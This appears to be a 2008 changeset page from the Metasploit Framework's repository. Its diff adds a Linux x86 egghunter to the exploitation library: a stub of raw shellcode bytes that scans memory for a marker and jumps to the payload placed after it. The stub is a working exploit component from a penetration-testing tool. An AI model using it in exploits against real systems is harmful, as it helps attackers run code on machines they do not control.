Changeset 5502

Show
Ignore:
Timestamp:
05/12/08 09:49:45 (5 months ago)
Author:
patrickw
Message:

Added ntp module, linux egghunter

Files:

Legend:

Unmodified
Added
Removed
Modified
Copied
Moved
  • framework3/trunk/lib/rex/exploitation/egghunter.rb

    r3111 r5502  
    4242                        end 
    4343         
     44                end 
     45        end 
     46         
     47        ### 
     48        # 
     49        # Linux-based egghunters 
     50        # 
     51        ### 
     52        module Linux 
     53                Alias = "linux" 
     54 
     55                module X86 
     56                        Alias = ARCH_X86 
     57 
     58                        # 
     59                        # The egg hunter stub for linux/x86. 
     60                        # 
     61                        def hunter_stub 
     62                                { 
     63                                        'Stub' =>  
     64                                                "\xfc\x66\x81\xc9\xff\x0f\x41\x6a\x43\x58\xcd\x80" + 
     65                                                "\x3c\xf2\x74\xf1\xb8" + 
     66                                                "\x41\x41\x41\x41" + 
     67                                                "\x89\xcf\xaf\x75\xec\xaf\x75\xe9\xff\xe7", 
     68                                        'EggSize'   => 4, 
     69                                        'EggOffset' => 0x11 
     70                                } 
     71                        end 
     72 
    4473                end 
    4574        end